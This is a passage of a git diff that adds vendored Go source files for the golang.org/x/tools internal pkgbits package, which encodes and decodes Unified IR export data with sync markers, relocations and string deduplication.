[numRelocs]uint32 +} + +// PkgPath returns the package path for the package +// +// TODO(mdempsky): Remove; unneeded since CL 391014. +func (pr *PkgDecoder) PkgPath() string { return pr.pkgPath } + +// SyncMarkers reports whether pr uses sync markers. +func (pr *PkgDecoder) SyncMarkers() bool { return pr.sync } + +// NewPkgDecoder returns a PkgDecoder initialized to read the Unified +// IR export data from input. pkgPath is the package path for the +// compilation unit that produced the export data. +// +// TODO(mdempsky): Remove pkgPath parameter; unneeded since CL 391014. +func NewPkgDecoder(pkgPath, input string) PkgDecoder { + pr := PkgDecoder{ + pkgPath: pkgPath, + } + + // TODO(mdempsky): Implement direct indexing of input string to + // avoid copying the position information. + + r := strings.NewReader(input) + + assert(binary.Read(r, binary.LittleEndian, &pr.version) == nil) + + switch pr.version { + default: + panic(fmt.Errorf("unsupported version: %v", pr.version)) + case 0: + // no flags + case 1: + var flags uint32 + assert(binary.Read(r, binary.LittleEndian, &flags) == nil) + pr.sync = flags&flagSyncMarkers != 0 + } + + assert(binary.Read(r, binary.LittleEndian, pr.elemEndsEnds[:]) == nil) + + pr.elemEnds = make([]uint32, pr.elemEndsEnds[len(pr.elemEndsEnds)-1]) + assert(binary.Read(r, binary.LittleEndian, pr.elemEnds[:]) == nil) + + pos, err := r.Seek(0, os.SEEK_CUR) + assert(err == nil) + + pr.elemData = input[pos:] + assert(len(pr.elemData)-8 == int(pr.elemEnds[len(pr.elemEnds)-1])) + + return pr +} + +// NumElems returns the number of elements in section k. +func (pr *PkgDecoder) NumElems(k RelocKind) int { + count := int(pr.elemEndsEnds[k]) + if k > 0 { + count -= int(pr.elemEndsEnds[k-1]) + } + return count +} + +// TotalElems returns the total number of elements across all sections. +func (pr *PkgDecoder) TotalElems() int { + return len(pr.elemEnds) +} + +// Fingerprint returns the package fingerprint. +func (pr *PkgDecoder) Fingerprint() [8]byte { + var fp [8]byte + copy(fp[:], pr.elemData[len(pr.elemData)-8:]) + return fp +} + +// AbsIdx returns the absolute index for the given (section, index) +// pair. +func (pr *PkgDecoder) AbsIdx(k RelocKind, idx Index) int { + absIdx := int(idx) + if k > 0 { + absIdx += int(pr.elemEndsEnds[k-1]) + } + if absIdx >= int(pr.elemEndsEnds[k]) { + errorf("%v:%v is out of bounds; %v", k, idx, pr.elemEndsEnds) + } + return absIdx +} + +// DataIdx returns the raw element bitstream for the given (section, +// index) pair. +func (pr *PkgDecoder) DataIdx(k RelocKind, idx Index) string { + absIdx := pr.AbsIdx(k, idx) + + var start uint32 + if absIdx > 0 { + start = pr.elemEnds[absIdx-1] + } + end := pr.elemEnds[absIdx] + + return pr.elemData[start:end] +} + +// StringIdx returns the string value for the given string index. +func (pr *PkgDecoder) StringIdx(idx Index) string { + return pr.DataIdx(RelocString, idx) +} + +// NewDecoder returns a Decoder for the given (section, index) pair, +// and decodes the given SyncMarker from the element bitstream. +func (pr *PkgDecoder) NewDecoder(k RelocKind, idx Index, marker SyncMarker) Decoder { + r := pr.NewDecoderRaw(k, idx) + r.Sync(marker) + return r +} + +// NewDecoderRaw returns a Decoder for the given (section, index) pair. +// +// Most callers should use NewDecoder instead. +func (pr *PkgDecoder) NewDecoderRaw(k RelocKind, idx Index) Decoder { + r := Decoder{ + common: pr, + k: k, + Idx: idx, + } + + // TODO(mdempsky) r.data.Reset(...) after #44505 is resolved. + r.Data = *strings.NewReader(pr.DataIdx(k, idx)) + + r.Sync(SyncRelocs) + r.Relocs = make([]RelocEnt, r.Len()) + for i := range r.Relocs { + r.Sync(SyncReloc) + r.Relocs[i] = RelocEnt{RelocKind(r.Len()), Index(r.Len())} + } + + return r +} + +// A Decoder provides methods for decoding an individual element's +// bitstream data. +type Decoder struct { + common *PkgDecoder + + Relocs []RelocEnt + Data strings.Reader + + k RelocKind + Idx Index +} + +func (r *Decoder) checkErr(err error) { + if err != nil { + errorf("unexpected decoding error: %w", err) + } +} + +func (r *Decoder) rawUvarint() uint64 { + x, err := binary.ReadUvarint(&r.Data) + r.checkErr(err) + return x +} + +func (r *Decoder) rawVarint() int64 { + ux := r.rawUvarint() + + // Zig-zag decode. + x := int64(ux >> 1) + if ux&1 != 0 { + x = ^x + } + return x +} + +func (r *Decoder) rawReloc(k RelocKind, idx int) Index { + e := r.Relocs[idx] + assert(e.Kind == k) + return e.Idx +} + +// Sync decodes a sync marker from the element bitstream and asserts +// that it matches the expected marker. +// +// If r.common.sync is false, then Sync is a no-op. +func (r *Decoder) Sync(mWant SyncMarker) { + if !r.common.sync { + return + } + + pos, _ := r.Data.Seek(0, os.SEEK_CUR) // TODO(mdempsky): io.SeekCurrent after #44505 is resolved + mHave := SyncMarker(r.rawUvarint()) + writerPCs := make([]int, r.rawUvarint()) + for i := range writerPCs { + writerPCs[i] = int(r.rawUvarint()) + } + + if mHave == mWant { + return + } + + // There's some tension here between printing: + // + // (1) full file paths that tools can recognize (e.g., so emacs + // hyperlinks the "file:line" text for easy navigation), or + // + // (2) short file paths that are easier for humans to read (e.g., by + // omitting redundant or irrelevant details, so it's easier to + // focus on the useful bits that remain). + // + // The current formatting favors the former, as it seems more + // helpful in practice. But perhaps the formatting could be improved + // to better address both concerns. For example, use relative file + // paths if they would be shorter, or rewrite file paths to contain + // "$GOROOT" (like objabi.AbsFile does) if tools can be taught how + // to reliably expand that again. + + fmt.Printf("export data desync: package %q, section %v, index %v, offset %v\n", r.common.pkgPath, r.k, r.Idx, pos) + + fmt.Printf("\nfound %v, written at:\n", mHave) + if len(writerPCs) == 0 { + fmt.Printf("\t[stack trace unavailable; recompile package %q with -d=syncframes]\n", r.common.pkgPath) + } + for _, pc := range writerPCs { + fmt.Printf("\t%s\n", r.common.StringIdx(r.rawReloc(RelocString, pc))) + } + + fmt.Printf("\nexpected %v, reading at:\n", mWant) + var readerPCs [32]uintptr // TODO(mdempsky): Dynamically size? + n := runtime.Callers(2, readerPCs[:]) + for _, pc := range fmtFrames(readerPCs[:n]...) { + fmt.Printf("\t%s\n", pc) + } + + // We already printed a stack trace for the reader, so now we can + // simply exit. Printing a second one with panic or base.Fatalf + // would just be noise. + os.Exit(1) +} + +// Bool decodes and returns a bool value from the element bitstream. +func (r *Decoder) Bool() bool { + r.Sync(SyncBool) + x, err := r.Data.ReadByte() + r.checkErr(err) + assert(x < 2) + return x != 0 +} + +// Int64 decodes and returns an int64 value from the element bitstream. +func (r *Decoder) Int64() int64 { + r.Sync(SyncInt64) + return r.rawVarint() +} + +// Int64 decodes and returns a uint64 value from the element bitstream. +func (r *Decoder) Uint64() uint64 { + r.Sync(SyncUint64) + return r.rawUvarint() +} + +// Len decodes and returns a non-negative int value from the element bitstream. +func (r *Decoder) Len() int { x := r.Uint64(); v := int(x); assert(uint64(v) == x); return v } + +// Int decodes and returns an int value from the element bitstream. +func (r *Decoder) Int() int { x := r.Int64(); v := int(x); assert(int64(v) == x); return v } + +// Uint decodes and returns a uint value from the element bitstream. +func (r *Decoder) Uint() uint { x := r.Uint64(); v := uint(x); assert(uint64(v) == x); return v } + +// Code decodes a Code value from the element bitstream and returns +// its ordinal value. It's the caller's responsibility to convert the +// result to an appropriate Code type. +// +// TODO(mdempsky): Ideally this method would have signature "Code[T +// Code] T" instead, but we don't allow generic methods and the +// compiler can't depend on generics yet anyway. +func (r *Decoder) Code(mark SyncMarker) int { + r.Sync(mark) + return r.Len() +} + +// Reloc decodes a relocation of expected section k from the element +// bitstream and returns an index to the referenced element. +func (r *Decoder) Reloc(k RelocKind) Index { + r.Sync(SyncUseReloc) + return r.rawReloc(k, r.Len()) +} + +// String decodes and returns a string value from the element +// bitstream. +func (r *Decoder) String() string { + r.Sync(SyncString) + return r.common.StringIdx(r.Reloc(RelocString)) +} + +// Strings decodes and returns a variable-length slice of strings from +// the element bitstream. +func (r *Decoder) Strings() []string { + res := make([]string, r.Len()) + for i := range res { + res[i] = r.String() + } + return res +} + +// Value decodes and returns a constant.Value from the element +// bitstream. +func (r *Decoder) Value() constant.Value { + r.Sync(SyncValue) + isComplex := r.Bool() + val := r.scalar() + if isComplex { + val = constant.BinaryOp(val, token.ADD, constant.MakeImag(r.scalar())) + } + return val +} + +func (r *Decoder) scalar() constant.Value { + switch tag := CodeVal(r.Code(SyncVal)); tag { + default: + panic(fmt.Errorf("unexpected scalar tag: %v", tag)) + + case ValBool: + return constant.MakeBool(r.Bool()) + case ValString: + return constant.MakeString(r.String()) + case ValInt64: + return constant.MakeInt64(r.Int64()) + case ValBigInt: + return constant.Make(r.bigInt()) + case ValBigRat: + num := r.bigInt() + denom := r.bigInt() + return constant.Make(new(big.Rat).SetFrac(num, denom)) + case ValBigFloat: + return constant.Make(r.bigFloat()) + } +} + +func (r *Decoder) bigInt() *big.Int { + v := new(big.Int).SetBytes([]byte(r.String())) + if r.Bool() { + v.Neg(v) + } + return v +} + +func (r *Decoder) bigFloat() *big.Float { + v := new(big.Float).SetPrec(512) + assert(v.UnmarshalText([]byte(r.String())) == nil) + return v +} + +// @@@ Helpers + +// TODO(mdempsky): These should probably be removed. I think they're a +// smell that the export data format is not yet quite right. + +// PeekPkgPath returns the package path for the specified package +// index. +func (pr *PkgDecoder) PeekPkgPath(idx Index) string { + r := pr.NewDecoder(RelocPkg, idx, SyncPkgDef) + path := r.String() + if path == "" { + path = pr.pkgPath + } + return path +} + +// PeekObj returns the package path, object name, and CodeObj for the +// specified object index. +func (pr *PkgDecoder) PeekObj(idx Index) (string, string, CodeObj) { + r := pr.NewDecoder(RelocName, idx, SyncObject1) + r.Sync(SyncSym) + r.Sync(SyncPkg) + path := pr.PeekPkgPath(r.Reloc(RelocPkg)) + name := r.String() + assert(name != "") + + tag := CodeObj(r.Code(SyncCodeObj)) + + return path, name, tag +} diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/doc.go b/vendor/golang.org/x/tools/go/internal/pkgbits/doc.go new file mode 100644 index 000000000..c8a2796b5 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/doc.go @@ -0,0 +1,32 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// Package pkgbits implements low-level coding abstractions for +// Unified IR's export data format. +// +// At a low-level, a package is a collection of bitstream elements. +// Each element has a "kind" and a dense, non-negative index. +// Elements can be randomly accessed given their kind and index. +// +// Individual elements are sequences of variable-length values (e.g., +// integers, booleans, strings, go/constant values, cross-references +// to other elements). Package pkgbits provides APIs for encoding and +// decoding these low-level values, but the details of mapping +// higher-level Go constructs into elements is left to higher-level +// abstractions. +// +// Elements may cross-reference each other with "relocations." For +// example, an element representing a pointer type has a relocation +// referring to the element type. +// +// Go constructs may be composed as a constellation of multiple +// elements. For example, a declared function may have one element to +// describe the object (e.g., its name, type, position), and a +// separate element to describe its function body. This allows readers +// some flexibility in efficiently seeking or re-reading data (e.g., +// inlining requires re-reading the function body for each inlined +// call, without needing to re-read the object-level details). +// +// This is a copy of internal/pkgbits in the Go implementation. +package pkgbits diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/encoder.go b/vendor/golang.org/x/tools/go/internal/pkgbits/encoder.go new file mode 100644 index 000000000..c50c838ca --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/encoder.go @@ -0,0 +1,379 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +import ( + "bytes" + "crypto/md5" + "encoding/binary" + "go/constant" + "io" + "math/big" + "runtime" +) + +// currentVersion is the current version number. +// +// - v0: initial prototype +// +// - v1: adds the flags uint32 word +const currentVersion uint32 = 1 + +// A PkgEncoder provides methods for encoding a package's Unified IR +// export data. +type PkgEncoder struct { + // elems holds the bitstream for previously encoded elements. + elems [numRelocs][]string + + // stringsIdx maps previously encoded strings to their index within + // the RelocString section, to allow deduplication. That is, + // elems[RelocString][stringsIdx[s]] == s (if present). + stringsIdx map[string]Index + + // syncFrames is the number of frames to write at each sync + // marker. A negative value means sync markers are omitted. + syncFrames int +} + +// SyncMarkers reports whether pw uses sync markers. +func (pw *PkgEncoder) SyncMarkers() bool { return pw.syncFrames >= 0 } + +// NewPkgEncoder returns an initialized PkgEncoder. +// +// syncFrames is the number of caller frames that should be serialized +// at Sync points. Serializing additional frames results in larger +// export data files, but can help diagnosing desync errors in +// higher-level Unified IR reader/writer code. If syncFrames is +// negative, then sync markers are omitted entirely. +func NewPkgEncoder(syncFrames int) PkgEncoder { + return PkgEncoder{ + stringsIdx: make(map[string]Index), + syncFrames: syncFrames, + } +} + +// DumpTo writes the package's encoded data to out0 and returns the +// package fingerprint. +func (pw *PkgEncoder) DumpTo(out0 io.Writer) (fingerprint [8]byte) { + h := md5.New() + out := io.MultiWriter(out0, h) + + writeUint32 := func(x uint32) { + assert(binary.Write(out, binary.LittleEndian, x) == nil) + } + + writeUint32(currentVersion) + + var flags uint32 + if pw.SyncMarkers() { + flags |= flagSyncMarkers + } + writeUint32(flags) + + // Write elemEndsEnds. + var sum uint32 + for _, elems := range &pw.elems { + sum += uint32(len(elems)) + writeUint32(sum) + } + + // Write elemEnds. + sum = 0 + for _, elems := range &pw.elems { + for _, elem := range elems { + sum += uint32(len(elem)) + writeUint32(sum) + } + } + + // Write elemData. + for _, elems := range &pw.elems { + for _, elem := range elems { + _, err := io.WriteString(out, elem) + assert(err == nil) + } + } + + // Write fingerprint. + copy(fingerprint[:], h.Sum(nil)) + _, err := out0.Write(fingerprint[:]) + assert(err == nil) + + return +} + +// StringIdx adds a string value to the strings section, if not +// already present, and returns its index. +func (pw *PkgEncoder) StringIdx(s string) Index { + if idx, ok := pw.stringsIdx[s]; ok { + assert(pw.elems[RelocString][idx] == s) + return idx + } + + idx := Index(len(pw.elems[RelocString])) + pw.elems[RelocString] = append(pw.elems[RelocString], s) + pw.stringsIdx[s] = idx + return idx +} + +// NewEncoder returns an Encoder for a new element within the given +// section, and encodes the given SyncMarker as the start of the +// element bitstream. +func (pw *PkgEncoder) NewEncoder(k RelocKind, marker SyncMarker) Encoder { + e := pw.NewEncoderRaw(k) + e.Sync(marker) + return e +} + +// NewEncoderRaw returns an Encoder for a new element within the given +// section. +// +// Most callers should use NewEncoder instead. +func (pw *PkgEncoder) NewEncoderRaw(k RelocKind) Encoder { + idx := Index(len(pw.elems[k])) + pw.elems[k] = append(pw.elems[k], "") // placeholder + + return Encoder{ + p: pw, + k: k, + Idx: idx, + } +} + +// An Encoder provides methods for encoding an individual element's +// bitstream data. +type Encoder struct { + p *PkgEncoder + + Relocs []RelocEnt + Data bytes.Buffer // accumulated element bitstream data + + encodingRelocHeader bool + + k RelocKind + Idx Index // index within relocation section +} + +// Flush finalizes the element's bitstream and returns its Index. +func (w *Encoder) Flush() Index { + var sb bytes.Buffer // TODO(mdempsky): strings.Builder after #44505 is resolved + + // Backup the data so we write the relocations at the front. + var tmp bytes.Buffer + io.Copy(&tmp, &w.Data) + + // TODO(mdempsky): Consider writing these out separately so they're + // easier to strip, along with function bodies, so that we can prune + // down to just the data that's relevant to go/types. + if w.encodingRelocHeader { + panic("encodingRelocHeader already true; recursive flush?") + } + w.encodingRelocHeader = true + w.Sync(SyncRelocs) + w.Len(len(w.Relocs)) + for _, rEnt := range w.Relocs { + w.Sync(SyncReloc) + w.Len(int(rEnt.Kind)) + w.Len(int(rEnt.Idx)) + } + + io.Copy(&sb, &w.Data) + io.Copy(&sb, &tmp) + w.p.elems[w.k][w.Idx] = sb.String() + + return w.Idx +} + +func (w *Encoder) checkErr(err error) { + if err != nil { + errorf("unexpected encoding error: %v", err) + } +} + +func (w *Encoder) rawUvarint(x uint64) { + var buf [binary.MaxVarintLen64]byte + n := binary.PutUvarint(buf[:], x) + _, err := w.Data.Write(buf[:n]) + w.checkErr(err) +} + +func (w *Encoder) rawVarint(x int64) { + // Zig-zag encode. + ux := uint64(x) << 1 + if x < 0 { + ux = ^ux + } + + w.rawUvarint(ux) +} + +func (w *Encoder) rawReloc(r RelocKind, idx Index) int { + // TODO(mdempsky): Use map for lookup; this takes quadratic time. + for i, rEnt := range w.Relocs { + if rEnt.Kind == r && rEnt.Idx == idx { + return i + } + } + + i := len(w.Relocs) + w.Relocs = append(w.Relocs, RelocEnt{r, idx}) + return i +} + +func (w *Encoder) Sync(m SyncMarker) { + if !w.p.SyncMarkers() { + return + } + + // Writing out stack frame string references requires working + // relocations, but writing out the relocations themselves involves + // sync markers. To prevent infinite recursion, we simply trim the + // stack frame for sync markers within the relocation header. + var frames []string + if !w.encodingRelocHeader && w.p.syncFrames > 0 { + pcs := make([]uintptr, w.p.syncFrames) + n := runtime.Callers(2, pcs) + frames = fmtFrames(pcs[:n]...) + } + + // TODO(mdempsky): Save space by writing out stack frames as a + // linked list so we can share common stack frames. + w.rawUvarint(uint64(m)) + w.rawUvarint(uint64(len(frames))) + for _, frame := range frames { + w.rawUvarint(uint64(w.rawReloc(RelocString, w.p.StringIdx(frame)))) + } +} + +// Bool encodes and writes a bool value into the element bitstream, +// and then returns the bool value. +// +// For simple, 2-alternative encodings, the idiomatic way to call Bool +// is something like: +// +// if w.Bool(x != 0) { +// // alternative #1 +// } else { +// // alternative #2 +// } +// +// For multi-alternative encodings, use Code instead. +func (w *Encoder) Bool(b bool) bool { + w.Sync(SyncBool) + var x byte + if b { + x = 1 + } + err := w.Data.WriteByte(x) + w.checkErr(err) + return b +} + +// Int64 encodes and writes an int64 value into the element bitstream. +func (w *Encoder) Int64(x int64) { + w.Sync(SyncInt64) + w.rawVarint(x) +} + +// Uint64 encodes and writes a uint64 value into the element bitstream. +func (w *Encoder) Uint64(x uint64) { + w.Sync(SyncUint64) + w.rawUvarint(x) +} + +// Len encodes and writes a non-negative int value into the element bitstream. +func (w *Encoder) Len(x int) { assert(x >= 0); w.Uint64(uint64(x)) } + +// Int encodes and writes an int value into the element bitstream. +func (w *Encoder) Int(x int) { w.Int64(int64(x)) } + +// Len encodes and writes a uint value into the element bitstream. +func (w *Encoder) Uint(x uint) { w.Uint64(uint64(x)) } + +// Reloc encodes and writes a relocation for the given (section, +// index) pair into the element bitstream. +// +// Note: Only the index is formally written into the element +// bitstream, so bitstream decoders must know from context which +// section an encoded relocation refers to. +func (w *Encoder) Reloc(r RelocKind, idx Index) { + w.Sync(SyncUseReloc) + w.Len(w.rawReloc(r, idx)) +} + +// Code encodes and writes a Code value into the element bitstream. +func (w *Encoder) Code(c Code) { + w.Sync(c.Marker()) + w.Len(c.Value()) +} + +// String encodes and writes a string value into the element +// bitstream. +// +// Internally, strings are deduplicated by adding them to the strings +// section (if not already present), and then writing a relocation +// into the element bitstream. +func (w *Encoder) String(s string) { + w.Sync(SyncString) + w.Reloc(RelocString, w.p.StringIdx(s)) +} + +// Strings encodes and writes a variable-length slice of strings into +// the element bitstream. +func (w *Encoder) Strings(ss []string) { + w.Len(len(ss)) + for _, s := range ss { + w.String(s) + } +} + +// Value encodes and writes a constant.Value into the element +// bitstream. +func (w *Encoder) Value(val constant.Value) { + w.Sync(SyncValue) + if w.Bool(val.Kind() == constant.Complex) { + w.scalar(constant.Real(val)) + w.scalar(constant.Imag(val)) + } else { + w.scalar(val) + } +} + +func (w *Encoder) scalar(val constant.Value) { + switch v := constant.Val(val).(type) { + default: + errorf("unhandled %v (%v)", val, val.Kind()) + case bool: + w.Code(ValBool) + w.Bool(v) + case string: + w.Code(ValString) + w.String(v) + case int64: + w.Code(ValInt64) + w.Int64(v) + case *big.Int: + w.Code(ValBigInt) + w.bigInt(v) + case *big.Rat: + w.Code(ValBigRat) + w.bigInt(v.Num()) + w.bigInt(v.Denom()) + case *big.Float: + w.Code(ValBigFloat) + w.bigFloat(v) + } +} + +func (w *Encoder) bigInt(v *big.Int) { + b := v.Bytes() + w.String(string(b)) // TODO: More efficient encoding. + w.Bool(v.Sign() < 0) +} + +func (w *Encoder) bigFloat(v *big.Float) { + b := v.Append(nil, 'p', -1) + w.String(string(b)) // TODO: More efficient encoding. +} diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/flags.go b/vendor/golang.org/x/tools/go/internal/pkgbits/flags.go new file mode 100644 index 000000000..654222745 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/flags.go @@ -0,0 +1,9 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +const ( + flagSyncMarkers = 1 << iota // file format contains sync markers +) diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/frames_go1.go b/vendor/golang.org/x/tools/go/internal/pkgbits/frames_go1.go new file mode 100644 index 000000000..5294f6a63 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/frames_go1.go @@ -0,0 +1,21 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.7 +// +build !go1.7 + +// TODO(mdempsky): Remove after #44505 is resolved + +package pkgbits + +import "runtime" + +func walkFrames(pcs []uintptr, visit frameVisitor) { + for _, pc := range pcs { + fn := runtime.FuncForPC(pc) + file, line := fn.FileLine(pc) + + visit(file, line, fn.Name(), pc-fn.Entry()) + } +} diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/frames_go17.go b/vendor/golang.org/x/tools/go/internal/pkgbits/frames_go17.go new file mode 100644 index 000000000..2324ae7ad --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/frames_go17.go @@ -0,0 +1,28 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.7 +// +build go1.7 + +package pkgbits + +import "runtime" + +// walkFrames calls visit for each call frame represented by pcs. +// +// pcs should be a slice of PCs, as returned by runtime.Callers. +func walkFrames(pcs []uintptr, visit frameVisitor) { + if len(pcs) == 0 { + return + } + + frames := runtime.CallersFrames(pcs) + for { + frame, more := frames.Next() + visit(frame.File, frame.Line, frame.Function, frame.PC-frame.Entry) + if !more { + return + } + } +} diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/reloc.go b/vendor/golang.org/x/tools/go/internal/pkgbits/reloc.go new file mode 100644 index 000000000..7a8f04ab3 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/reloc.go @@ -0,0 +1,42 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +// A RelocKind indicates a particular section within a unified IR export. +type RelocKind int + +// An Index represents a bitstream element index within a particular +// section. +type Index int + +// A relocEnt (relocation entry) is an entry in an element's local +// reference table. +// +// TODO(mdempsky): Rename this too. +type RelocEnt struct { + Kind RelocKind + Idx Index +} + +// Reserved indices within the meta relocation section. +const ( + PublicRootIdx Index = 0 + PrivateRootIdx Index = 1 +) + +const ( + RelocString RelocKind = iota + RelocMeta + RelocPosBase + RelocPkg + RelocName + RelocType + RelocObj + RelocObjExt + RelocObjDict + RelocBody + + numRelocs = iota +) diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/support.go b/vendor/golang.org/x/tools/go/internal/pkgbits/support.go new file mode 100644 index 000000000..ad26d3b28 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/support.go @@ -0,0 +1,17 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +import "fmt" + +func assert(b bool) { + if !b { + panic("assertion failed") + } +} + +func errorf(format string, args ...interface{}) { + panic(fmt.Errorf(format, args...)) +} diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/sync.go b/vendor/golang.org/x/tools/go/internal/pkgbits/sync.go new file mode 100644 index 000000000..5bd51ef71 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/sync.go @@ -0,0 +1,113 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +import ( + "fmt" + "strings" +) + +// fmtFrames formats a backtrace for reporting reader/writer desyncs. +func fmtFrames(pcs ...uintptr) []string { + res := make([]string, 0, len(pcs)) + walkFrames(pcs, func(file string, line int, name string, offset uintptr) { + // Trim package from function name. It's just redundant noise. + name = strings.TrimPrefix(name, "cmd/compile/internal/noder.") + + res = append(res, fmt.Sprintf("%s:%v: %s +0x%v", file, line, name, offset)) + }) + return res +} + +type frameVisitor func(file string, line int, name string, offset uintptr) + +// SyncMarker is an enum type that represents markers that may be +// written to export data to ensure the reader and writer stay +// synchronized. +type SyncMarker int + +//go:generate stringer -type=SyncMarker -trimprefix=Sync + +const ( + _ SyncMarker = iota + + // Public markers (known to go/types importers). + + // Low-level coding markers. + SyncEOF + SyncBool + SyncInt64 + SyncUint64 + SyncString + SyncValue + SyncVal + SyncRelocs + SyncReloc + SyncUseReloc + + // Higher-level object and type markers. + SyncPublic + SyncPos + SyncPosBase + SyncObject + SyncObject1 + SyncPkg + SyncPkgDef + SyncMethod + SyncType + SyncTypeIdx + SyncTypeParamNames + SyncSignature + SyncParams + SyncParam + SyncCodeObj + SyncSym + SyncLocalIdent + SyncSelector + + // Private markers (only known to cmd/compile). + SyncPrivate + + SyncFuncExt + SyncVarExt + SyncTypeExt + SyncPragma + + SyncExprList + SyncExprs + SyncExpr + SyncExprType + SyncAssign + SyncOp + SyncFuncLit + SyncCompLit + + SyncDecl + SyncFuncBody + SyncOpenScope + SyncCloseScope + SyncCloseAnotherScope + SyncDeclNames + SyncDeclName + + SyncStmts + SyncBlockStmt + SyncIfStmt + SyncForStmt + SyncSwitchStmt + SyncRangeStmt + SyncCaseClause + SyncCommClause + SyncSelectStmt + SyncDecls + SyncLabeledStmt + SyncUseObjLocal + SyncAddLocal + SyncLinkname + SyncStmt1 + SyncStmtsEnd + SyncLabel + SyncOptLabel +) diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/syncmarker_string.go b/vendor/golang.org/x/tools/go/internal/pkgbits/syncmarker_string.go new file mode 100644 index 000000000..4a5b0ca5f --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/syncmarker_string.go @@ -0,0 +1,89 @@ +// Code generated by "stringer -type=SyncMarker -trimprefix=Sync"; DO NOT EDIT. + +package pkgbits + +import "strconv" + +func _() { + // An "invalid array index" compiler error signifies that the constant values have changed. + // Re-run the stringer command to generate them again. + var x [1]struct{} + _ = x[SyncEOF-1] + _ = x[SyncBool-2] + _ = x[SyncInt64-3] + _ = x[SyncUint64-4] + _ = x[SyncString-5] + _ = x[SyncValue-6] + _ = x[SyncVal-7] + _ = x[SyncRelocs-8] + _ = x[SyncReloc-9] + _ = x[SyncUseReloc-10] + _ = x[SyncPublic-11] + _ = x[SyncPos-12] + _ = x[SyncPosBase-13] + _ = x[SyncObject-14] + _ = x[SyncObject1-15] + _ = x[SyncPkg-16] + _ = x[SyncPkgDef-17] + _ = x[SyncMethod-18] + _ = x[SyncType-19] + _ = x[SyncTypeIdx-20] + _ = x[SyncTypeParamNames-21] + _ = x[SyncSignature-22] + _ = x[SyncParams-23] + _ = x[SyncParam-24] + _ = x[SyncCodeObj-25] + _ = x[SyncSym-26] + _ = x[SyncLocalIdent-27] + _ = x[SyncSelector-28] + _ = x[SyncPrivate-29] + _ = x[SyncFuncExt-30] + _ = x[SyncVarExt-31] + _ = x[SyncTypeExt-32] + _ = x[SyncPragma-33] + _ = x[SyncExprList-34] + _ = x[SyncExprs-35] + _ = x[SyncExpr-36] + _ = x[SyncExprType-37] + _ = x[SyncAssign-38] + _ = x[SyncOp-39] + _ = x[SyncFuncLit-40] + _ = x[SyncCompLit-41] + _ = x[SyncDecl-42] + _ = x[SyncFuncBody-43] + _ = x[SyncOpenScope-44] + _ = x[SyncCloseScope-45] + _ = x[SyncCloseAnotherScope-46] + _ = x[SyncDeclNames-47] + _ = x[SyncDeclName-48] + _ = x[SyncStmts-49] + _ = x[SyncBlockStmt-50] + _ = x[SyncIfStmt-51] + _ = x[SyncForStmt-52] + _ = x[SyncSwitchStmt-53] + _ = x[SyncRangeStmt-54] + _ = x[SyncCaseClause-55] + _ = x[SyncCommClause-56] + _ = x[SyncSelectStmt-57] + _ = x[SyncDecls-58] + _ = x[SyncLabeledStmt-59] + _ = x[SyncUseObjLocal-60] + _ = x[SyncAddLocal-61] + _ = x[SyncLinkname-62] + _ = x[SyncStmt1-63] + _ = x[SyncStmtsEnd-64] + _ = x[SyncLabel-65] + _ = x[SyncOptLabel-66] +} + +const _SyncMarker_name = "EOFBoolInt64Uint64StringValueValRelocsRelocUseRelocPublicPosPosBaseObjectObject1PkgPkgDefMethodTypeTypeIdxTypeParamNamesSignatureParamsParamCodeObjSymLocalIdentSelectorPrivateFuncExtVarExtTypeExtPragmaExprListExprsExprExprTypeAssignOpFuncLitCompLitDeclFuncBodyOpenScopeCloseScopeCloseAnotherScopeDeclNamesDeclNameStmtsBlockStmtIfStmtForStmtSwitchStmtRangeStmtCaseClauseCommClauseSelectStmtDeclsLabeledStmtUseObjLocalAddLocalLinknameStmt1StmtsEndLabelOptLabel" + +var _SyncMarker_index = [...]uint16{0, 3, 7, 12, 18, 24, 29, 32, 38, 43, 51, 57, 60, 67, 73, 80, 83, 89, 95, 99, 106, 120, 129, 135, 140, 147, 150, 160, 168, 175, 182, 188, 195, 201, 209, 214, 218, 226, 232, 234, 241, 248, 252, 260, 269, 279, 296, 305, 313, 318, 327, 333, 340, 350, 359, 369, 379, 389, 394, 405, 416, 424, 432, 437, 445, 450, 458} + +func (i SyncMarker) String() string { + i -= 1 + if i < 0 || i >= SyncMarker(len(_SyncMarker_index)-1) { + return "SyncMarker(" + strconv.FormatInt(int64(i+1), 10) + ")" + } + return 